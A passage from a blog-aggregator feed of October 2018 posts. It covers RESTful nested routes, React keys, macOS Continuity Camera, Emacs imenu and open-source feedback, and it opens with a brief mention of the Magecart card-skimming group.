&lt;p&gt;The attacks they organized have caused massive damages to hundreds, likely even thousands of companies like British Airways, Ticketmaster and even Newegg.&lt;/p&gt;
&lt;p&gt;This group is specialized in card skimming payment forms on the internet.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Fri, 19 Oct 2018 22:12:03 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/magecart/</guid></item><item><title>Routes of RESTful services with nested resources</title><link>https://qubyte.codes/blog/routes-of-restful-services-with-nested-resources</link><description>&lt;p&gt;Nested resources are common in real life, and when you're a programmer working
on RESTful APIs you may have noticed that there are often trade-offs when it
comes to formatting the routes of nested resources.&lt;/p&gt;
&lt;p&gt;Let's say we're building an API for carpenters. Their guild wants a way to help
the carpenters manage their clients, and the items which they're creating for
their clients (jobs). A set of routes for this might look like&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/carpenters&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId&lt;/span&gt;

&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/clients&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/clients&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/clients/:clientId&lt;/span&gt;

&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/jobs&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/jobs&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/jobs/:jobId&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;where segments preceded by a colon are placeholders for a UUID. The first route
of each group gets a collection, the second creates a new member, and the third
gets a member by its ID. There may well be other operations like the third which
act on individual members of a collection, such as PUT for replacing and DELETE
for removal.&lt;/p&gt;
&lt;p&gt;The problem with this layout is that, as a carpenter, you're rarely going to
want to see clients which aren't &lt;em&gt;your&lt;/em&gt; clients. There may also be lots of jobs,
and making a request for a list of jobs could select a huge number of them.
Usually you'll want to filter it by the client. We can use query parameters to
supply additional context, but this seems a bit clumsy. Let's have another go&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/carpenters&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId&lt;/span&gt;

&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients/:clientId&lt;/span&gt;

&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients/:clientId/jobs&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients/:clientId/jobs&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients/:clientId/jobs/:jobId&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It's pretty clear now that these are nested resources. It's no longer possible
to select a collection without refining it by its parent resources.&lt;/p&gt;
&lt;p&gt;The problem now is that it's a bit annoying to have to use &lt;em&gt;all&lt;/em&gt; the parent IDs
of a list or a member. I recently realised (and I'm probably late to the party)
that a good solution is a compromise between the two&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/carpenters&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId&lt;/span&gt;

&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/carpenters/:carpenterId/clients&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/clients/:clientId&lt;/span&gt;

&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/clients/:clientId/jobs&lt;/span&gt;
&lt;span class="hljs-attr"&gt;POST&lt;/span&gt; &lt;span class="hljs-string"&gt;/clients/:clientId/jobs&lt;/span&gt;
&lt;span class="hljs-attr"&gt;GET&lt;/span&gt;  &lt;span class="hljs-string"&gt;/jobs/:jobId&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this arrangement, we need to use a route with a parent ID when listing a
resource or creating a new member. When we already have an ID of a resource we
don't need to include its parent in the path. This includes other singular
operations such as PUT and DELETE.&lt;/p&gt;
&lt;p&gt;Finally, a word on nesting. The implicit assertion made above is that a child
resource has a single parent, which may not be the case. Think of the solution
above as a filtering mechanism. i.e. a client may have contracted more than one
carpenter. You may also want to list jobs for a carpenter, rather than for a
client. If you find yourself writing too many routes, using query parameters may
be the lesser evil. Be pragmatic!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Fri, 19 Oct 2018 22:00:30 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/routes-of-restful-services-with-nested-resources</guid></item><item><title>Git - what to do when it goes wrong</title><link>https://ilearnt.com/blog/flightrulesforgit/</link><description>&lt;p&gt;This has a great summary of what to do when things go wrong when using Git. Added here so I know where to look in moments of panic.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 19 Oct 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/flightrulesforgit/</guid></item><item><title>Cruelty by Edward St Aubyn</title><link>https://ho.dges.online/words/commonplace/cruelty-by-edward-st-aubyn/</link><description/><author>ho.dges.online</author><pubDate>Fri, 19 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/cruelty-by-edward-st-aubyn/</guid></item><item><title>Three reasons why incubators breed failure</title><link>https://jasoneckert.github.io/myblog/three-reasons-why-incubators-breed-failure/</link><description>&lt;p&gt;&lt;img alt="incubator1" src="incubator1.png#center" title="incubator1" /&gt;&lt;/p&gt;
&lt;p&gt;These past few years, I’ve provided various types of support for some tech incubators in the Kitchener-Waterloo region where I live (it’s a complex arrangement that I won’t go into within this post, but mostly involves helping people with technology implementation issues related to software).  It’s not hard to find tech incubators nowadays - they’ve become quite popular this past decade, and larger cities often have several incubators of various sizes.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 19 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/three-reasons-why-incubators-breed-failure/</guid></item><item><title>Originals: How Non-Confomists Move The World</title><link>https://macleodsawyer.com/library/originals/</link><description/><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Thu, 18 Oct 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/library/originals/</guid></item><item><title>Test-Driven Development is not about tests</title><link>https://lucasfcosta.com/blog/TDD-is-not-about-tests/</link><description>Counterintuitively, test-driven development is not about tests.

Test-driven development is about being able to take gradual and small steps towards a solution. Taking small steps allows you to solve...</description><author>Lucas F. Costa - Blog</author><pubDate>Thu, 18 Oct 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/TDD-is-not-about-tests/</guid></item><item><title>Implementing Support for Continuity Camera</title><link>https://thomas.zoechling.me/journal/2018/10/Continuity.html</link><description>&lt;div&gt;&lt;p&gt;One of macOS Mojave's user-facing features is Continuity Camera. It allows you to capture images or documents from your iOS devices. &lt;br /&gt;While Apple prominently showcases the feature on the Mojave product page, documentation for developers is very thin. There's only a &lt;a href="https://developer.apple.com/videos/play/wwdc2018/209/?time=2187"&gt;short mention&lt;/a&gt; of the related APIs in the "What's new in Cocoa" WWDC 2018 session. &lt;br /&gt;Some of AppKit's default view classes support the feature out of the box (e.g. &lt;code&gt;NSTextView&lt;/code&gt;), but it's also possible to add capturing to your own controls.  &lt;/p&gt;&lt;p&gt;&lt;img alt="Drawing" src="https://thomas.zoechling.me/journal/2018/10/continuity/continuity@2x.png" style="width: 660px;" /&gt;&lt;/p&gt;&lt;figcaption&gt;Small sample app with automatically inserted Continuity Camera menu.&lt;/figcaption&gt;&lt;p&gt;Apple implemented Continuity Camera on top of the Services infrastructure of macOS and &lt;code&gt;NSResponder&lt;/code&gt;. Captured image data is passed in via &lt;code&gt;NSPasteboard&lt;/code&gt;. &lt;br /&gt;To make the "Import from iPhone or iPad" menu item appear in a menu, we have to implement &lt;a href="https://developer.apple.com/documentation/appkit/nsresponder/1524638-validrequestorforsendtype?language=objc"&gt;&lt;code&gt;validRequestor(forSendType:returnType:)&lt;/code&gt;&lt;/a&gt; in a &lt;code&gt;NSResponder&lt;/code&gt; subclass (e.g. in a view controller). From there, we need to return an instance that implements the &lt;code&gt;NSServicesMenuRequestor&lt;/code&gt; protocol. &lt;/p&gt;&lt;p&gt;I created a &lt;a href="https://thomas.zoechling.me/journal/2018/10/continuity/ContinuityCameraPlayground.zip"&gt;small sample project&lt;/a&gt; that provides a simple implementation of the above methods. It consists of a view controller that hosts an &lt;code&gt;NSImageView&lt;/code&gt; and a button. The button has an empty menu connected, which gets popped-up when the button's action is performed. 
The view controller is a subclass of &lt;code&gt;NSResponder&lt;/code&gt; and it also implements &lt;code&gt;NSServicesMenuRequestor&lt;/code&gt;. So when the macOS Services architecture traverses the responder chain, it asks if we accept images from the pasteboard via &lt;code&gt;validRequestor(forSendType:returnType:)&lt;/code&gt;. As we indicate &lt;code&gt;true&lt;/code&gt; by returning &lt;code&gt;self&lt;/code&gt;, the menu gets populated with the Continuity Camera menu items. Those items dispatch their actions via the Responder Chain, so it is important that the view controller that handles the passed in image is &lt;code&gt;firstResponder&lt;/code&gt;. Otherwise, menu validation fails and the Continuity Camera items are disabled. To ensure that, we call &lt;code&gt;self.view.window?.makeFirstResponder(self)&lt;/code&gt; before showing the menu. &lt;/p&gt;&lt;p&gt;After the user captured an image on the selected iOS device, we need to handle the returned image in &lt;a href="https://developer.apple.com/documentation/appkit/nsservicesmenurequestor/1428481-readselection"&gt;&lt;code&gt;readSelection(from pasteboard: NSPasteboard)&lt;/code&gt;&lt;/a&gt; (which is part of &lt;code&gt;NSServicesMenuRequestor&lt;/code&gt;). The sample app reads the captured image from the pasteboard and displays it in an image view. You can download the Xcode project &lt;a href="https://thomas.zoechling.me/journal/2018/10/continuity/ContinuityCameraPlayground.zip"&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt="Drawing" src="https://thomas.zoechling.me/journal/2018/10/continuity/flow@2x.png" style="width: 660px;" /&gt;&lt;/p&gt;&lt;figcaption&gt;The call flow for Continuity Camera integration. Left: APIs to implement. Right: calls performed by AppKit.&lt;/figcaption&gt;&lt;p&gt;Special thanks go out to &lt;a href="https://twitter.com/_mschwarz_"&gt;Michael Schwarz&lt;/a&gt;. He implemented Continuity Camera support for &lt;a href="https://mindnode.com"&gt;MindNode for Mac&lt;/a&gt; and shared his insights with me.&lt;/p&gt;
&lt;/div&gt;</description><author>Build and Run</author><pubDate>Thu, 18 Oct 2018 14:39:43 GMT</pubDate><guid isPermaLink="true">https://thomas.zoechling.me/journal/2018/10/Continuity.html</guid></item><item><title>React: Controlling Rendering with Keys</title><link>https://dylanpaulus.com/posts/2018/react-controlling-rendering-with-keys/</link><description>&lt;p&gt;&lt;code&gt;key&lt;/code&gt;, the property we throw some value into to suppress warnings. This property is used by React to determine when a component is deleted, updated, or created. We generally don't interact much with the &lt;code&gt;key&lt;/code&gt; prop--except in loops.&lt;/p&gt;
&lt;p&gt;My team recently ran into an issue lately--how do we rerender all child components when a state has changed? The simplest approach... you guessed it, &lt;code&gt;key&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;Let's take a look.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Parent extends Component {
  state = {
    key: true,
    count: 0,
  };

  handleChildUnmount = () =&amp;gt; {
    this.setState((prevProps) =&amp;gt; ({ count: prevProps.count + 1 }));
  };

  toggleKey = () =&amp;gt; {
    this.setState((prevProps) =&amp;gt; ({ key: !prevProps.key }));
  };

  render() {
    const { key, count } = this.state;

    return (
      &amp;lt;div&amp;gt;
        &amp;lt;button onClick={this.toggleKey}&amp;gt;Toggle Child Key&amp;lt;/button&amp;gt;
        &amp;lt;Child key={key} count={count} onUnmount={this.handleChildUnmount} /&amp;gt;
      &amp;lt;/div&amp;gt;
    );
  }
}

class Child extends Component {
  componentWillUnmount() {
    this.props.onUnmount();
  }

  render() {
    return &amp;lt;div&amp;gt;Total Renders: {this.props.count}&amp;lt;/div&amp;gt;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href="https://codesandbox.io/s/48zl4zoyv0"&gt;&lt;img alt="Edit react-scroll-to" src="https://codesandbox.io/static/img/play-codesandbox.svg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In this example we are toggling the &lt;code&gt;key&lt;/code&gt; prop of our Child component between &lt;em&gt;true&lt;/em&gt; and &lt;em&gt;false&lt;/em&gt;. We then keep track every time the Child unmounts through a callback to increment the Parent's state. When we toggle the &lt;code&gt;key&lt;/code&gt; prop, we will see the counter increment each time. This is, because React uses the key to determine if a component has changed. Since we are changing the key each time React will see our component has updates, and rerender the Child component.&lt;/p&gt;
&lt;p&gt;This is the easiest way to cause a rerender of a child component (and all children of the child), and shows the power of understanding the&lt;code&gt;key&lt;/code&gt; prop!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; Even if a child component returns &lt;em&gt;false&lt;/em&gt; in a &lt;code&gt;shouldComponentUpdate&lt;/code&gt;, changing the key prop will cause it to rerender anyway (Try it in the CodeSandbox above!).&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Thu, 18 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/react-controlling-rendering-with-keys/</guid></item><item><title>2018-10-18</title><link>https://ho.dges.online/pictures/2018-10-18/</link><description/><author>ho.dges.online</author><pubDate>Thu, 18 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-10-18/</guid></item><item><title>The Big Bang Theory: Season 10</title><link>https://olshansky.info/tv/the_big_bang_theory_season_10/</link><description>Olshansky's review of The Big Bang Theory: Season 10</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 17 Oct 2018 16:39:24 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_big_bang_theory_season_10/</guid></item><item><title>Movie 43</title><link>https://olshansky.info/movie/movie_43/</link><description>Olshansky's review of Movie 43</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 17 Oct 2018 16:30:05 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/movie_43/</guid></item><item><title>Open source UI Kits pour le Web</title><link>https://yasha.solutions/open-source-ui-kits-themed-frontend-for-the-web/</link><description>UI Kit Site: https://getuikit.com/
GitHub: https://github.com/uikit/uikit
Stream Ui Kit Site: https://htmlstream.com/templates/stream-ui-kit
Basé sur Bootstrap.
One Nexus Site: http://www.onenexus.io/
Basé sur Synergy, un framework front-end pour la génération de composant UI et Kayzen, un systeme de grille CSS – tous réalisé par la même équipe.
Milligram Simple
Juste 2kb
https://milligram.io/
Tabler Un des meilleurs UI de dashboard Open Source.
Basé sur Bootstrap
Le code est clean
La logique est claire et bien conçue.</description><author>Yasha Solutions</author><pubDate>Wed, 17 Oct 2018 11:49:53 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/open-source-ui-kits-themed-frontend-for-the-web/</guid></item><item><title>Open source UI Kits &amp;amp; themed frontend for the web</title><link>https://yasha.solutions/open-source-ui-kits-themed-frontend-for-the-web/</link><description>Sleek Dashboard  Demo: Sleek Demo site/
GitHub: https://github.com/tafcoder/sleek-dashboard
 Bootstrap 4 Admin Dashboard Template and UI Kit – and yeah sleeeeek indeed – like I really love it. Great work by tafcoder.
 UI Kit Site: https://getuikit.com/
GitHub: https://github.com/uikit/uikit
A lightweight and modular front-end framework for developing fast and powerful web interfaces.
Well suited for website, landing pages etc.
Simple, straightforward.
Also, nice extra: Autocomplete plugins for both Atom and Sublime Text 3.</description><author>Yasha Solutions</author><pubDate>Wed, 17 Oct 2018 11:26:36 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/open-source-ui-kits-themed-frontend-for-the-web/</guid></item><item><title>imenu on Emacs eshell</title><link>https://xenodium.com/imenu-on-emacs-eshell</link><description>&lt;p&gt;&lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/Imenu.html"&gt;imenu&lt;/a&gt; navigation is one of those Emacs gems I didn't discover until much later on. It does what you'd expect in all types of modes. In rare instances, I've found specific modes missing imenu support. Fortunately, this is Emacs and you can fix that.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.gnu.org/software/emacs/manual/html_mono/eshell.html"&gt;Eshell&lt;/a&gt; has a handy feature to jump back and forth over previous prompts using &lt;em&gt;M-x eshell-previous-prompt (C-c C-p)&lt;/em&gt; and &lt;em&gt;M-x eshell-next-prompt (C-c C-n)&lt;/em&gt;. Upon learning about these two functions, my immediate reaction was to try imenu. Surprisingly, it didn't &amp;quot;just work&amp;quot;, but a tiny bit of elisp brought balance back to the Emacs universe.&lt;/p&gt;
&lt;p&gt;In an eshell mode hook function, one can set the &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/elisp/Imenu.html#index-imenu_002dgeneric_002dexpression-2058"&gt;imenu-generic-expression&lt;/a&gt; to help it find your favorite prompt:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(setq-local imenu-generic-expression
                  '((&amp;quot;Prompt&amp;quot; &amp;quot; $ \\(.*\\)&amp;quot; 1)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ah it's the little things…&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/imenu-on-emacs-eshell/eshell-imenu.gif" /&gt;&lt;/p&gt;
&lt;p&gt;ps. If wondering why my imenu experience looks a little different, that's because I'm using Abo Abo's wonderful &lt;a href="https://github.com/abo-abo/swiper"&gt;counsel&lt;/a&gt; and &lt;em&gt;M-x counsel-semantic-or-imenu&lt;/em&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 17 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/imenu-on-emacs-eshell</guid></item><item><title>Sometimes to learn you also need to do</title><link>https://ilearnt.com/blog/learningwithoutdoing/</link><description>&lt;p&gt;I am back on the learning Scala trail and it is clear that just reading books and articles or watching videos won&amp;rsquo;t cut it. It needs to be hands-on coding.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 16 Oct 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/learningwithoutdoing/</guid></item><item><title>The secret history of Ctrl+Alt+Del</title><link>https://ilearnt.com/blog/altcontroldelete/</link><description>&lt;p&gt;The background to why the famous &amp;ldquo;three finger salute&amp;rdquo; was chosen to be so difficult to do.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 16 Oct 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/altcontroldelete/</guid></item><item><title>Engineering Leadership 321</title><link>https://blog.herlein.com/post/eng-leadership-321/</link><description>&lt;p&gt;I&amp;rsquo;ve come to firmly believe that Engineering Leadership has a 3-2-1 principle to create Engineer happiness,
which is a key prerequisite for high performance Engineering teams.&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Tue, 16 Oct 2018 07:30:29 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/eng-leadership-321/</guid></item><item><title>Hiking in Essertines - Switzerland</title><link>https://heitorpb.github.io/bla/essertineshiking/</link><description>Switzerland is amazing for Hiking. Here's how one went.</description><author>Heitor's log</author><pubDate>Tue, 16 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://heitorpb.github.io/bla/essertineshiking/</guid></item><item><title>3 Tips from Kent C Dodds for People Just Getting Started</title><link>https://www.swyx.io/3-tips-from-kent-c-dodds-for-people-just-getting-started-ik8</link><description>&lt;p&gt;advice for beginners from a podcast&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Tue, 16 Oct 2018 02:54:50 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/3-tips-from-kent-c-dodds-for-people-just-getting-started-ik8</guid></item><item><title>Mapplication</title><link>https://mbutler.org/mapplication/</link><description>Mapplication is a tool I built with my co-workers (Rob Shepard, Ethan DeGross, and Alyssa Varner) as a way to rapidly prototype maps for researchers and scholars. It accepts a CSV file upload and outputs a leaflet map. It converts the spreadsheet into valid GeoJSON, allows the users to pick a marker color and map [&amp;#8230;]</description><author>mbutler</author><pubDate>Mon, 15 Oct 2018 21:19:55 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/mapplication/</guid></item><item><title>Reflections of a Floating World (Album)</title><link>https://macleodsawyer.com/music/reflections-of-a-floating-world-album/</link><description/><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Mon, 15 Oct 2018 19:30:59 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/music/reflections-of-a-floating-world-album/</guid></item><item><title>Calm Black Water (Album)</title><link>https://macleodsawyer.com/music/calm-black-water-album/</link><description/><author>Macleod Sawyer | Web Portal Feed</author><pubDate>Mon, 15 Oct 2018 19:28:32 GMT</pubDate><guid isPermaLink="true">https://macleodsawyer.com/music/calm-black-water-album/</guid></item><item><title>Property testing</title><link>https://bfdes.in/posts/property-testing.html</link><description>An introduction to property-based testing and its applications in standard library algorithm validation</description><author>bfdes.in</author><pubDate>Mon, 15 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bfdes.in/posts/property-testing.html</guid></item><item><title>Oil, Climate and Africa</title><link>https://one.mikro2nd.net/pages/oil-climate-and-africa-md/</link><description>So here&amp;rsquo;s a peculiar think: America (the USA, but Canada, too) got rich off sucking the oil under their continent out of the ground (well, digging in the case of Athabasca), turning it into fuel and releasing it into the atmosphere where it&amp;rsquo;s become the biggest single existential threat facing humankind to date. (Biome-killing meteorites possibly excepted.) Yes, it&amp;rsquo;s arguable. It&amp;rsquo;s complex, nuanced and not as simple as I&amp;rsquo;ve baldly put it here, but I believe most sensible people will get my drift.</description><author>one mikro2nd</author><pubDate>Sun, 14 Oct 2018 20:40:16 GMT</pubDate><guid isPermaLink="true">https://one.mikro2nd.net/pages/oil-climate-and-africa-md/</guid></item><item><title>Swing</title><link>https://rob.sh/post/swing-stencil/</link><description>&lt;p&gt;&lt;img alt="" src="https://cdn.rob.sh/img/becca-swing-stencil.png#centre" /&gt;&lt;/p&gt;
&lt;p&gt;Inspired by Becca on the swing at Bernal Heights.&lt;br /&gt;
October 2018, spray paint on layered card.&lt;/p&gt;</description><author>rob.sh</author><pubDate>Sun, 14 Oct 2018 18:00:00 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/swing-stencil/</guid></item><item><title>Appreciation for Open Source and Commercial Software</title><link>https://bastibe.de/2018-10-14-appreciation-for-open-source-and-commercial-software.html</link><description>&lt;p&gt;I recently released my first-ever piece of commercial software, a &lt;a href="https://missiongenerator.eu/"&gt;plugin&lt;/a&gt; for the &lt;a href="https://www.x-plane.com/"&gt;X-Plane&lt;/a&gt; flight simulator. I wrote this primarily to scratch my own itch, but thought other users might like it, too, so I put it up on &lt;a href="https://store.x-plane.org/Mission-Generator_p_877.html"&gt;the store&lt;/a&gt;. What struck me however, were the stark difference between the kinds of responses I got to this, as compared to my open source projects: They were astonishingly, resoundingly, &lt;em&gt;positive&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;You see, I have a bunch of open source projects, with a few thousand downloads per month, and a dozen or so issues on Github per week. Most of my interactions with my users are utilitarian, and efficient. Someone reports a bug or asks for help, I ask for clarification or a pull request, we iterate a few times until the issue is resolved. The process is mechanical and the tone of our conversation is equally unemotional. This is as it should be.&lt;/p&gt;
&lt;p&gt;After having released my flight simulator plugin, however, people &lt;em&gt;thanked me&lt;/em&gt;! They &lt;em&gt;congratulated me&lt;/em&gt;! They extolled about the greatness of what I had built! And they did this despite the fact that the initial release had quite a few major bugs, and even flat-out did not work for some people. Yet even people who couldn't get it to work were &lt;em&gt;grateful&lt;/em&gt; for my help in resolving their issue!&lt;/p&gt;
&lt;p&gt;This &lt;em&gt;blew my mind&lt;/em&gt;, in comparison with the drab &amp;quot;I found a bug&amp;quot;, &amp;quot;Could you implement…&amp;quot; I was used to from my open source work. There, the feedback I got was mostly neutral (bug reports, feature requests), and sometimes even negative (&amp;quot;You broke something!&amp;quot;). So I release my software &lt;em&gt;for free&lt;/em&gt;, as a gift, and get average-negative feedback. My commercial work, in contrast, &lt;em&gt;costs money&lt;/em&gt;, and yet the feedback I get is resoundingly positive! I can not overstate how motivating it is to get praise, and love, from my users.&lt;/p&gt;
&lt;p&gt;I think this is a huge problem for our Open Source community. I had my run-ins with burnout, when all the pull requests came to be too much, and I started dreading the little notification icon on Github. And I think the negativity inherent in bug reports and feature requests has a huge part to do with this. In the future, I will try to add more praise to my bug reports from now on, just to put things into perspective.&lt;/p&gt;
&lt;p&gt;But I think we should go further than that. We should create tools for praising stuff, beyond the impersonal Stars on Github. We should be able to write reviews on Github, and recommendations, and blog posts about cool libraries we find.&lt;/p&gt;
&lt;p&gt;I recently got my first github issue that was &lt;a href="https://github.com/bastibe/org-static-blog/issues/12"&gt;just a thank-you note&lt;/a&gt;. I loved it! We need more positivity like that.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sun, 14 Oct 2018 13:20:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-10-14-appreciation-for-open-source-and-commercial-software.html</guid></item><item><title>Encrypted disk image on macOS</title><link>https://xenodium.com/encrypted-disk-image-on-macos</link><description>&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/encrypted-image-on-macos/1.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/encrypted-image-on-macos/2.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 14 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/encrypted-disk-image-on-macos</guid></item><item><title>Hundred years are nothing</title><link>http://dimitarsimeonov.com/2018/10/13/hundred-years-are-nothing</link><description>&lt;p&gt;Hundred years are nothing. Nada.&lt;/p&gt;

&lt;p&gt;Yes… I know. A lot can happen during a hundred years. Take a look the
twentieth century with the two world wars, and the growth of computers
and the Internet and the enormous leaps in biology.&lt;/p&gt;

&lt;p&gt;And the twentieth century is not the only one with drastic
changes. Major changes have been happening every century all
throughout the last few thousand years. And that’s my point.&lt;/p&gt;

&lt;p&gt;The total amount of changes is so high, that even talking to someone
from the beginning of the twentieth century would be much more comfortable
to us than anyone who lived five hundred or two thousand years ago.&lt;/p&gt;

&lt;p&gt;That’s what a roman toilets look like. The did number two and
socialized at the same time. Today, most people around the world
prefer to poop in solace.&lt;/p&gt;

&lt;p&gt;&lt;img alt="roman toilets" src="https://d2mxuefqeaa7sj.cloudfront.net/s_0490897F6FACED14E7760DA4819E8AFA9F90F64E399FC49B42C1BA2476C6796F_1539396262441_sn-romantoilets.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Somewhere along the time we went through a lifestyle bottleneck and
decided that we don’t feel comfortable with simultaneously hanging out
with people and relieving ourselves.&lt;/p&gt;

&lt;p&gt;People back in the day were weird. Not to say people today aren’t
weird, but the magnitude of weariness is a lot smaller than looking
historically.&lt;/p&gt;

&lt;p&gt;Taking time into perspective, all human beings alive today are
brothers and sisters. We’re siblings, Millennials and Baby Boomers.
We’re pretty much the same. We are much closer than we realize, should
we only step back and see how far along we’ve come.&lt;/p&gt;

&lt;p&gt;We ARE closer than ever, and yet, still diving ourselves and
in-fighting.&lt;/p&gt;

&lt;p&gt;The human mind is relative. We will find minor differences to fight
about no matter how similar we are.&lt;/p&gt;

&lt;p&gt;&lt;img alt="xkcd 1095" src="https://imgs.xkcd.com/comics/crazy_straws.png" /&gt;&lt;/p&gt;

&lt;p&gt;(credit XKCD 1095)&lt;/p&gt;

&lt;p&gt;Only by looking in perspective we unite… against a common enemy.&lt;/p&gt;

